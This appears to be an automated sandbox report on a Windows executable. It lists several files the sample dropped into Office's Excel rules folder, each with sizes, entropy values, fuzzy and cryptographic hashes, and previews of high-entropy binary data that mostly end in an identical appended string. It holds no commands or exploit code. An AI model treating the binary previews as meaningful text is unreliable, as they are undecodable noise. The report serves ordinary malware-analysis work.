Preview:	<?xml.,$..>5..'f...!...jq.F..\|.S..TU...FA....W....<)..i.hq.:.o..c K0".Y..\|..1y..c......t8.K...)...B.#.tdl.M.9........GM...K..\...<.{m;....J...3..^K.~..k....~....z3Wl}P.@..c.=.?..!.y..C....#....[%..j.yx.../+..2....z-.!.'..F.....FR..@............i-..\..x.5Q..;P.7..9.~o.L8."o...Q...s{9..y.$y..g.+.......R..9....z...".....74;}6TX...^........0.c."...O+......\y......b.v...&....l.`s.7..J.Q.H..;.....}MJ.Y....4....0.~h.f.Jo..=..v.?^.k.I.\|a:h..g..Z7.p..`...Js.D@'...>..^....[._a.a...-.xr...7.8.:...f.[.h..... .`....$.o.........B...l.a.-Q.e..s...\....-0...,.q8....C..$a.O].p....x%....$.RF.T..J,C3.#....:.J<..p...z.9..TF.d..,.).&H....{L...+,is.....^.YN.m...j..AOn;../U.4...*/.........a..6Oe.....(...DS+.$........o..K..........a.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100127v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.685418464278606
Encrypted:	false
SSDEEP:	24:bKglgwzoQ0jWrKZ0M7idgiHh+spZ6JaArc+jh9PQ0xIkbD:NlHzEjWri0M2E1JaWPhxFD
MD5:	8A9849AA942026691894B5A372CD2F60
SHA1:	0787B6A16B73166FAFEE1BD8113F125F08CB4EA4
SHA-256:	CDA202A9AA8C63FF26C18AEEEBF32AFF0E826CC379F6FDD38E2388FE41C2078C
SHA-512:	B49CE08ADE0C2A11497C00E67888AD29153444DA9EADEBDDF2D4C8D20F3E4CF23E9F89FE6C468996F61AA4BE9D60C8D719E5753E50B79A34C9C0A11088A73A07
Malicious:	false
Preview:	<?xml..T;.?.s9..%ME.}... :....b....O)3.5j,./.F"k..A.d...].Q..L.4..be8.....j...#5dx....m...pr...cb<....M..'"d..\V.L.6..Eh{.G.F.Y.@.....Zx..@.A.35..N./....L.C.xj.....G..l8...3.8......T.1..+wD)..>..dS...E,~i..V.......Efx/.<.Wk.....S>..1$.=..i..?.d.. .".S........@.4..4.......:8eG.~\o..57..}. 36la...`....o..p....(.X..#=O.9_8jJ...wb..!.\.$.E..s+.. @..l.":...d...bb..U.QM.u<{.sK.B..7..]....W.gW4...#..j.~...dw.g..=.;..2G..c.c@...^.4..t`...o...MCLj...>S7....=....&q...05d.G.y.9&......u....`V[.........&...pX>/.U .....IGS..i..`>....A>..z..T..x.X..<...2.a.XO..;..$.S.\|.X.^-.Eh-.Q..u...:......T9..1.=1...?.......a.3....S.U+...a....PK.,.1..<....w.y.[%.]LX]s1......9...M.D.hob:b.1...M.D.N.i....:. .,~...$N..1.d.#...-.....H...`.K<3xdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100128v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.654748799591647
Encrypted:	false
SSDEEP:	12:s5r8f5EvZyjkaF/+jeUqEWlGtivG7tBOtUmLg82wFxBkM/HOKrz0tMjZ2dB2PrgX:wr8hERyjLUq1lGEvGHOtUmg89+ouKf0T
MD5:	D82CC24985CAB6D9F4C572929D49C09B
SHA1:	EDA270796EEDD7E35F07F280B125CAA06528A20F
SHA-256:	E55FE228FDD7778CF13053FC7EDA8941150FC8032BD0F9F95FB075FAD0B3C518
SHA-512:	2E6A6D997B3FC596584333EE7EC1F3F45DC6AA222364694A82762813D03347448C172D1D7A893D0AAADAA3DB626E1348CFDA48C7DAE81D2578399AD65842A44A
Malicious:	false
Preview:	<?xml..E...qB...O....;.E{.....r..].$>.h.O.j.]..?q.:D...MG...{U.I..".ff..."..5... ....E....p...P.B -.aVUh....{.S.,..7..[3.....,.:.!...]..sT...[..m.D....x.].1....E....U.......!.......~.g..Wr.3..._ @w.(i....y....67......m=.y....l?.E.2.;q...n..kI...?O....(&.}y.{..M..Y...\|AY. $.%..u..(.q.m...D....A....P.P....8+pW!..w..s...\|jE..c..J....D.2.;./n..T?....\.e.<.!.]\V...'X`.=...%....S..p..Q.6../.....!..Nhw...W)...^C....;.....r... c\C.8AW.......m~x.$.....L(\j.,.m.:.Us!........P.[.r..<x..l.#..r .o..S.ryT..XS."... ...b.u.YP.h.\.l.~...Op...OE..3.....;G{...v...*.tc..Y.L..:^.O.p3..b0.N.......d.%#...pE ..7...AZ..X._..q.....d.S{3.._.ceTuStxg2.;,..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100129v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.670488696570035
Encrypted:	false
SSDEEP:	12:WnshSTF5yCVShivH7UE7U7X2MsDF6/1mdGomFRD5uJqB+KWTD9Lz0T8qxPrgciik:WszGShivH7UcU7mvDFMOt0Rs0TWP90PW
MD5:	B2BC1E773B1C01D220E7EAC1AB1C45E7
SHA1:	8BC5FE5C05088F1E73137A2CFDC2D627ABED37BE
SHA-256:	011C25D7FE8C0E65C55B6911071422711623B0C4341FDE8FAC3C0E9B7592B019
SHA-512:	7A1CB245D798DDE281C88FC7E8A3757736D95122F0954FE5B662F554111E9416BB1FD210D8B2E13B95409DB07BBB7477D52CA51040C45BC6D9CDCE35EB1D14A8
Malicious:	false
Preview:	<?xml{OS..4.(.....s.8...G.....a._....n..g.3..w.gc.^&.7`.".P...'x...8...!J7.....Q.N.qv...@Y.-Q.V..s...Y....#..$.H..6......egl1...G.#}&.......~.%....x..2..[/.....?."]........:.>.O..&>...%...3....t-.....x......"!O.....be...^.`oj.5.f+&...Y3.O\q8.....e........@S_&i..b....k..&..i..Z....8.w.nb..37q}=..7..O..X...r.g....d...#X.R5X..>a.CO.&1.u.JCWL.2...b..y.u.J..7.......O.nyQ."..^Tf&..y-.....T...c....[.. W!.ju....h...U.+4.(MB..v..Wz./.........yE...>.7........p.......f2c.$....K....z..........z+....]dBh....drR3`..s.Hfa.L8\|.(..L...\.$4.C...&w.VY.......&...!..f..>..X.o........{.'Lu.....&H.1.l...W0g..t......{{..c.....<...U...)-r..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100130v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.736505463161254
Encrypted:	false
SSDEEP:	12:Z5++eYPupZCUTn9XipYTHyMd6+4ES1TxnEJfZ44cvEsm5FHQ5wzPrgcii9a:ZAkwZCUTn9katA+wTe3LnHsQkbD
MD5:	9C8676FE10FB1EE30A74D15D8B48ACBD
SHA1:	7DBB58DFE1D8E0DE15324196306F688803D6ACD0
SHA-256:	1F2FB02F0B765511350EF8240A8E230D3B7BE25F383D5E51724BE842993A6A80
SHA-512:	7DC8A2E076860106AC53856223277037F21097972911F57B492BE1D93EA31AE78B00FD865655C59115F1B2F82EC8563E1C20EBE4E36DF5C7B6B15C324887E4E6
Malicious:	false
Preview:	<?xml...VUe..._..>~..K,....$..dY.c.........4B..`P.:p.i.s>...P....r-._:$....1..f....._.J...1.li...J.(..n.p...b>.FU...l..^)=...o...}o.3....[.IG..9.Bk".'.....~v....[.......Y...=l"V?.:.D...l...?..I.g..y5..AP.h.1&...J.?.Q..\m=.._U.A.x..n.1.}_..I.D..V.@e7S!J.k9...G}.FI.M7...kNr....C...~...S..w...@#.).....ex.......N.@..\|_/)....a.>X...LMM.rb%.Q3#.....I.J....n>_.J...q=}...cic........$..@~~c..TwS..+.W..U....A{.7.V.9....~>......c.%.!. ...'b...].xq........m.qw{...uM.m.V.'.......Bh.M.....x.r.ka..2] ..W$.y.1...x.....')De.=.wlp...[..._..}.....`...8.g.[...}.....FH&....G....s.......f......_>cZ.7. ..%...=.,....F..tFm;`.2..'....d$S.1.0.G....Pz...5.........U...x.....>.0..}t..);.J.4....1...F.:"O{.V:...?Ly..9.O.9dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100131v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.698064161450261
Encrypted:	false
SSDEEP:	12:EEkJ6dltLWR0Dl/xpdPWiLuhn+2f1feiBpjptObTlxondqgj+ogeWFHl+Prgciik:EEk4WGl3wiKhVtpfjufiEgj9WFHl4kbD
MD5:	575EBA785AAD94008C5EEC840EE26E0C
SHA1:	DEFF970CDBB30BB72FC57AEADC77F996AA109FE9
SHA-256:	3E0AB9D2962BA9713749229FB017E8E75229F02656E5488776BA2A2BF21C2818
SHA-512:	58A1DD1D33845F7787192BAAA7406903B74A8E6341D03BAC8D891F992E026A3ABFEE7081EC5593AC79688A14BBA6E7A536ABB487F8A5F79A78991DB203E1DF14
Malicious:	false
Preview:	<?xml."...(.}....Q^$&.$.Z.C.O.... .d..hV.b.ZA..{.4l...:E..@r.$.ep...d..c....;.a.6.q.O..m..Z.y...'...7i..8.....L.H.-7.D....a5..~5aL.....0.I..s.....#..t6z(_.A..K`p&_.m."N..d.....g...5M...^n....A.>r...M.n.[..=..t..?......d....x..b\|.\|..lKv.ETz....7.....H.Z.S.....z+. ..4....TAV.../!f...fI.5.......H..s......[5......>O..1.obYZ...WB_...CEj.~4.W7u..gPZ.{]:0.....&C{.....2..PR..t.E8.........P....XP....vQO....kS.p!..Ik.\6..~....@.z..fC......?...f...r.n1.3....D.O.w.d..>.=(/#.o.I....hm..wp...]/..'QC[....;..-...3.g..Zz..#.-.....?..N....o...N:..D.-.q.1{.$nu...X...P+...29.C..H.4m.(.#\|p.o.....$.....0..o+:P....0f.>5.x.3..H.JaS..Z...B..kudYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100132v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.698134923149712
Encrypted:	false
SSDEEP:	12:NIv/2PIweoP45OcMZdBSVCAJqgvIpqMZlve4wld6jNEhvEGk7g6H5kFPrgcii9a:cBoP4dnkAVdSe4wL6jNCK7Pi5kbD
MD5:	3B9DDCB1667228028666E282750AA0D0
SHA1:	AD40BEE9B9C5AE990B2E49ECDD218CDE6A3C7EEE
SHA-256:	9A93CE725B4D1D73E4A594AB8C70654FC0CC775FE714B8F1B852EA9855072E9D
SHA-512:	FA494655CC85562926CF39D6E41128DBF5F2813A1F161422DE272E061AFD5B82E4662BBAA22B031CD3874A64DD2B3F5B33C139FE2B194CEBA5EDF78FBD3874F1
Malicious:	false
Preview:	<?xml3...S.k....qxD......5.Nv.<wW..l.r.h.9.Y.:.{e(..dTiqt.....&.a.B.8.....%bU...+...n....x@..x..o..K%...C..6 .t.l.ET...$....._..d....6fg.L...e<.$x..j.../.'..5..{.id.;..Y....bJ.O+...g.>...!.....Q..R...-$c.;'.J9.xO....C.B...5..L#k..5%$`JZ".bMyIO.f#....=..C:H._c.".r.f..1PF.u.8........Y.Wf..b.!8.n}X.....s....f.....?.1..j7_<.v.l.Mj<H.& .....a..J.n`..0....-......s=$b.C...@.?..f.S....\|QB....`..p..19....B.W..Q.k=i.wH..u..y.x........f.........a3....vd.X"........-E.7.k.LK.Fi.9e....j.H..J.3......bj?.<O/w.z.a........\.^..,...q...;...l.b....iM../...2(4....1Xs...8.....C.7/.1...}..A.k.=.......2@...Z.%x6>.L8"..\.w...&.Xw.y.7pc$..)..(....YV.....5..2#....9S.>...#...:..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100133v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	751
Entropy (8bit):	7.64994323115234
Encrypted:	false
SSDEEP:	12:vpZ7bp4MK3z7HCmd+lYBhTbwcIjRKd42OBhff371IvgN1cqug/Ronv7fQFTvGuPW:vpFRIz7i+NbNIjR2OvJsI1Ff5gv7fY9W
MD5:	140D6273F98743FBBB3A7FE84B3E30CF
SHA1:	D93D25300150E5810B8BC4650C65104790DCC15C
SHA-256:	8A22B14A7364817680715F3C93E18D193C1D588B4BB4E6D13623E5785E188C1F
SHA-512:	B03DF9D45ADD2F37475A0D79E1A90E70640676E9C8473A374568D33485B81876E965A9C78B09804A3625603DFD4160D8E6E4629B0BAE2FA9465F33EF663F4F04
Malicious:	false
Preview:	<?xml._.8B.d.N.e.F..7&md.~..}.qW.I,....Y...].s....1X..N"R..w........R.QC"._..d.SD9....fj.<......F..s$.6......1...q.....@R.E.f..I...q..........e...N..D...T..!w.......h..]..;..t...0q.j...Q.C.uq+....X...S..$....p..3.D.Q4...D}.lQ..Q.B....Y....:".n..[u....7...l)5...E.U.r-gB......{ tuv.C.H.P.....%...2..xiL..Q#...\|....yS.h.?....'.n.......T..i...7TEjNq..AE>.....-.`d\|..W."R.J."..8....q..k0.x.7?Z#..."..PH.N..........h.C.>"g.Q.v..Vt6...x..C.....@..V\|.......4....<.I....P.LC.c..ho......&....>...!.j.J.h..1..\|..T...+..I..M{T,.$k@.0A.... %*......e...lC.J.G.E<...y.c.m.0.d.^.....r\|.RO u x.K?1{j...P.@...<.l......Q...Ng8.:..jg.....&......l........\RdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.729908670147634
Encrypted:	false
SSDEEP:	12:sDOeAnl8KeNtcJjxhzpL8hPlqPwJKDv8+1lCQ7Kc12S8a/NhiaJOCvbba+AlPrgX:UQl8KeN6J3paawcrh1us/OaJpvbG/ZkX
MD5:	E936552B8CF254695950927DB85A8184
SHA1:	81E83E9E5304A2598CC430BC98F6B4833F1FDB19
SHA-256:	29D7328A846DDCD1191E1CC384DC4A3D01494705A55D04DD0DC542FCBB308E8A
SHA-512:	B267EA6D36551FD3D03A5AF352DE620EA177A5590BE577ACC5F6F1227C15B0D3D60FE9055689C50F3634C71CB6894193A30A8F21EDA90AE8E494449DD0CC8750
Malicious:	false
Preview:	<?xml..$...m$......<.y......P@r...G.k..#u!..]?.+..U.....8...=./yr...j!..X..96$E..2>.e.w.S6$.........5(.......B..<.....<.,%..t^...}=u.O.B..kL..Ja6ql.H...R$$....].A>..2..Gs.C.u...0.........4...O.....j....>.......t>.lvX.5F..c^p..v'4.G...2.R.LS.....,._..`w.<...C.8y$....o....Ch.xn..Op..(1....%.D....mR..`W....._...!.%.;.....h.....}...4(b.[....Ar.Z....9s...#.*.g..Z.c.=I.Z".-}...e.........".z..[.....rU.&+V.:..c.....b.w...........:...]Mo....b....W....P??....'.x..`E.k~m,./]0..<V.......U..6)@..}Gn[...2..C....N.P:...v...j........h...\|......%..p.d.xOE.g+..\|.....Y..^%.!........."K_.........Db..j......\|k.....\|...I.h.....K...hN...Az.w......W...q\|dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.682657186572109
Encrypted:	false
SSDEEP:	12:PGLi08jeIIt0wYex8rGsAt55Yusy6d+oHh8n532JoByFZ7E3E8ReW4Wej8DvnQ46:Pw5pIA0wYG8KhT5YusNHhuUfIE8RlOjv
MD5:	D349FBA0864F537F3E822EB72F3D572A
SHA1:	8E2E77D9FE6C66C1B9F8A6363EB6185484E02DEA
SHA-256:	639D0277C6C9F042FD5CE6C3CEDACC079B2812AAA94F43645497A0A88E8323B7
SHA-512:	EFBD0BABB895A0BDF5A851BB2DFC63C370CC37317F251A64BE5813821CC5EB88F228324C0AE7A28A8E27EC198E62DECF073F0BA0204F85624193BEAEF34424A7
Malicious:	false
Preview:	<?xml..G..cB.....[K.9.-..K.......v...i.J++..\..ZxP..L..;.h`(+.l"p....)w.e..Z.f.......(....O..FZ..........0NB..D.h.^.w..I\|...Q...9g@...e..d...bwQF..b..c\|.I.v...jJ....i.............X0..@.....E..q.{>NS.n.]2...g..t.0..j...-4.u4.....eK..K..K..Z........)kB>.AR[h...Q..\.#.?.{.">x.3....Y.^$.T4.u..F...O.)2......K.MI.$A..=.v..\;..3..-.q..".\{g........I.<.<D.*..2.o...^d...ag..z9{.q.....6snBY.}1p._......N.......{..M.W.A+`R.w<d....d"v.>..@Q<.....oO....z.!...\|0..:.Vy.u...wa...}.]f....fr.h..a..(qv.w.rR7b.h....J....+o~.U..Y...e&..A..M.(6...r.....j....D-.N...>h.IE...N.+.r4C.....x...L.N....d.C.Jm`.K.D}X..$.....I.jH...@..clW..@....`..`!....gi.1.G....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.752380704570023
Encrypted:	false
SSDEEP:	24:K5MGXOqiRzzsQzBAr6PsrSWULqSRTn+5bqKg+6Zl5JMjkbD:KKzhPbLqSRi8h+clMyD
MD5:	FDD40F0A09DAD9ABBCB7FB4EA617ABE3
SHA1:	9F2758F6A7A2E4A561991E9238C8F3C51B743C3F
SHA-256:	57F201C8F7D44A300B8315BE6134F1B3A12228AEA0864D3CC5018F9FB0636B8A
SHA-512:	5C769EE1BBE80A619CA96F283A7515BC4FCD4CB375E7A4FD4F408BCCFBCCC7F86E9102C45AF004F00E31B59B87F3CBEE4C70BC498D45B34D046247A852E70403
Malicious:	false
Preview:	<?xml..-...].G.\.....$....)=..S........c.}...h..&.Zd..&.1Z.....LEC\|.5c.;.]Lq}...a..)6....?.$"...=.....I..L.m.{ay'.....-..-=.k.io.<f.{......?..=\...{...Hm.1^.].`.X..._...f..>.{....nND......8.7/.L6.....-..2\|bH7...r."...#.q........1d.....t.{@.......bVf.....(.4...4\..x.u...KU.V..9.2.B..)...a...F.~.0...f..1.^VD.n......GWR....k\....IS.1.C.A.S...8S.qz.F..^N M!.`]c................_......{.-%..L.M+9gZ`6>.K.D...#.Ny7c...........R.\|..v?..A.q.T.R.`<.i..f......Y.G..!..t#..`..%..=.U.G.. `....-.&..w.7]....[.m...^.+.v.Y..R.2.&.............].n.ql/.9...b.78...!..6S.P...h......<h0g..v~..7U..fs.....}Vi......@..m...E..$O....&.. ..........l..cI.t../",...F.....85....\=.. .x.'.'.+3U`i.t.ae.kf.^g..5......O...{%.n.........e...u...j.....%.N....&.....B.K...........8Qc..)....7.K...k..=....A.=fs(.....9.J......l..\|0.".rdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.867952012481757
Encrypted:	false
SSDEEP:	24:ri1tEvovtSZkMcayDROXy1gWC85CyKSaJIeYRSrg8wlXdssSALBPkbD:9vaNMALCKKSPe2v8wl0AoD
MD5:	DF2F71E6B162DF69E79B3C909A10413D
SHA1:	CE93C8B198BAFD65FBCC0AF3D8751AA266B3268A
SHA-256:	D1BEE6B5C1FC70C098C6C2071D255D625E13E15ACDF81CE20AD197F7F33118D7
SHA-512:	03F80C06C70EAA00D01B403B3D502E3B5F8B6536AD237FAB1F233C73D0A89E74DD6EF4CB216ED14E68C158A05629CD06DBE4788AA7B4B977A2245D2775885B60
Malicious:	false
Preview:	<?xml......z...#..8...a...p]</..[.'G..&..UM...^;..sN..`..w...).....II.v.,4#..z.........Wn!X..n......>..<p..r.x..0...T."........\.....ie_..chMt"j.. .. .A..o!.3E+....9..Mi.......F...!.+..1... &..ZY...f...g.1.....F....?..8H..E...6.X.I...Z....Z..c,5.0.h..Q..db?@z.zXr-...C..<......g\|hl...\|+UV....6#..z..q?..../\.[P."...T.~.....4r..6....9...]....L.(,{.".....d.g..~L..`^.._+?..&=h.r...:..%..'......u..sP.jN..E_/...#@#..m..9................i(<......So.D.>OC.{z.=K..=...2j........k.1)....{.R.7..Q0.#..3R.n.6.N.F.I....h.M.c..W.....b...$...6\G6M..#...Lyf.\|.....\|"6.e...F..M..T..Snl.e.e\.5.`..w..j.-.E.."...Jn.....Yog..k..`.b.rP......!j.S.BV..h..Sr.i.......r....l6P...x).g.i.zI.k(H.(.K`.....@eyI.Z}.../!...lf..6.....7k..:\6....m.U.2..........o.!.c.S6.>......{....4C...3.^.l.1UvYV.....9?....cP...?!o<.,..1R..5wv.4Ch...6..a..............H......1... ......ix.X..].....kg..K3..r..?s..A....n.)!}..8(.F$...Vf"_A...1...@+"C.....^.pZN....4j..T.m..0.{n..\.T...td..8]<./.s.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.937660250122845
Encrypted:	false
SSDEEP:	48:L4twmgbm0ng4ABxYnIQGQcQEHmijNjPihffnHBuhtDjb72A0mmrCKcu7z8nXq3D:Lgwkp5chGQz7ihEfvBGtnbSfrCKp7z8E
MD5:	8B7DF2CD232DB866D6CEC19069D83FE6
SHA1:	10CE2A419D18DA8D1E205B211346ECB83BBDEE3B
SHA-256:	3836BB503C3C4A7A6D77621C28536A20134F302CA2195CCB08C4377FE4158D8B
SHA-512:	CC9F6B2B2A5504A899693ED6EDA19DA3945FDEE3AEDAE37D4F01D32C465F569B20A755DC61DFDE98C3CE933B73BBCFCEF89A4FA6CFCC37B0ACF55A8066011B8E
Malicious:	false
Preview:	<?xml.>.:...r.W...0T..2._..).t./Z!.~D.q.......}M.....^..I..^.O..............Ph.K[....4.[......\|.KY.ir\;.......&...]q...xlk37.;.T.<......n,..33..7Lqz......'.....7.p.L.b.........0.,.....~,.SL~\x6..bg.P.....P.._..G....q8....<...-.Jw-..'..u.AgF...f.....c>../4.D../..../... XA..K.5....pH..o.......T..vR.,.....j...t;3..cIF...c.c..#.~.j.-.~.F..FF...5.q@\c.....X.;......W]...DL......{~...e'.$W..R`k..Y...M...5..%3.&.z....yoz.cF..F#:].P..!.\|3%.../(P....?d..g.}.tE......h.......w...O_c.P.I.+."j."a.#...A..g..4@.0./.x.\|w}..%.G..%....].6.D.D.ks<..m.inl. .e..u.&Q(.8zcK.$ET.L..m..X..o..s....0Y.3:......I.k..<..g.. c.gqH"....1..<.:n+\|..e..E...:.O#i~..Z..3.T.....W.R....V.W.e<.f.F.b..o...$.k.=....~.M.t.'_\|.....4\|W..r...U}....zIK...l....Dw.i.C.....`J....QJVx .....3P.....1....'.9......KA.H....3 9._..$.....L.W.K...j......q.R..A-.B...C...+.j..pN.$.l.!.4...%...g..L.^T.T8.(...i...lJv.:BLA......S..W......n1..(h....9Z.*..S.GVBb.....;-...W.w..`xwp..<4,....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.895200560847499
Encrypted:	false
SSDEEP:	48:O+l8EYbrXi/TFb7U/i11JymdWwvUItvShmCsfD:O+lybQvr11JJaIJaG
MD5:	D70DE49662F226763B11D65305621174
SHA1:	C49693EDA30C21E8B1597186E8E4F3A70D060A21
SHA-256:	2A171A0075E730AFC2DC51C7D4C00571D324D329582FC7F15D99BC01477B2BE3
SHA-512:	5B6FFE5ADB491CBECEC0B6B86DBED16215A5EDF85509A40B638DD92734C5E178DF6F0029A373827A1331D253BB7E1F284D913F27B67C9A0D1E68710EC4AB8EF5
Malicious:	false
Preview:	<?xml...g....t..14.^..N..c....-...h..3...&.Dl}...\vn.Me.........x....).hl.M. VD.S.['b#P".4.I.)..G....~..\|..#..;.[......@<..x..}.R..tM..m.....{.....'.W.D+!.].V.A..3.j"#.g..BP.-+..I..:Uc.Va.]........b`.[.....YX.....3.8.t.'...A.{I.{-...!X....a..>..0bY.....X..0g..h.U.,x...W;...]..a.z^..H..V}.M..&-...?:...3...$..}\|..\C..o....F.C7..\..K.R.q.rI.....Fa...cqPUS..I>z..t.!.5.La}...].....:...-E@....v.l5m.....<c....}.\Q.Ix81.........+.X]..).....".b\0f.....T.3..$l....Q.....5..r......$_}....=U.r....`..t.n../<.v..Y..C.U...~9.. .A....9.H...2^........3W.....+....?.f.x.57&d......2.P].Tz...../...FZ.......@./c.iP.S...S..e.F.....i.......'...D.+.....q.z....J<H.J..y...U...%%4.q..J.......{@......I...#.&h]u.U.B0...._.;...8B{......r.@.....n?....T.Z.....N..ej&B..P.}6c....a.p.g..n.].!2.....GB...F.K....}P..\|..S....OoL.1.p..v..}.*.....p.s....o......c.%....\5.=p=;..[().h....67...q[.$k.Oj.a.(..K...Y].P{..X"...A........a.S.BD.u..O....r.A..}c>u..flu....w-.2#/.cC.....h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.9040595113481125
Encrypted:	false
SSDEEP:	48:LWZzQwETNMLFHjSQH65LY5VjbIoDieOHJkVpC44A0/b/BFeTvsmD:MzrJHuVYbu3Jkm4D07BFeLs+
MD5:	B8B7E55E6F55E00A22808EF728A488AE
SHA1:	C86F36D83C4110E7D7BECE60C8516E5A426101ED
SHA-256:	461931F4174195173E41813FC8256029DAA651937CF5F5D5C4A4624D999ACFFA
SHA-512:	EA07158D69BC551274BB26DB4C1C17EECBC75A6087CEA7580F681906262D9BD0C706841A8C72092871A280B12670618D76D5D45024B444D47C5796BD40AA366E
Malicious:	false
Preview:	<?xml6AV.12.)..a.>....@8.yO.BK6..Q.d'1.(]....^....g.......N...O..P.....cG.N/...F...Z...f..]K.fh...F..s...l.U....\..7.k.P..&^.@.,.r`.{.......a..%.u.=.....L../.iFy../...>...^E..dm.f.#k...4>....wP..I....!.#.l.XLX.)wS-.]..J.o."..l.\1....iiZZ.=.q..`.....N.&.~..U^..p@Z......_.V.ln\..=..xr.L.....t2T.p.uu .)...+j.......-TI...A+?..)...q.;\|!.S...TiY\.[.......Y..YUTL"=v..-X...vFm..~.hV~.d..l.x.OK....%r\|.Z....jy...pc..Bt....@...UX..........gN`.......U.,DX..-..~F...,~'.U^......j.6.sl...JJ.2..u..K#.Y5.....N.#E.i.s$..g.....%.{....\....I#[.....nv..$(n...M<$}..".mh..U.M.`...o.!\|.u!..c..,.rsV....r.._..........d7d}.{_...8h..2Mf......=.K".".V....x..Ito.t@.5.D8ug1...Z.....o..4......bT....r.x?v..b_v....t.se/o.{v;!,...w......g..B..H\|.d...+.}.g.\|(.F..-..`.H.P8...(u...&.bD..:....>JH...D...~cP.G.{..........:"`.Zo9.Jr...W.......DX`!F.m1MG...k..'.T.\|."g.&TmL\.g~...2.:E......M..)...\...'....W!fc.v..X.2Y.P...t.u...N8:..2MM..p..Y.D...@....xw..qm~...o...

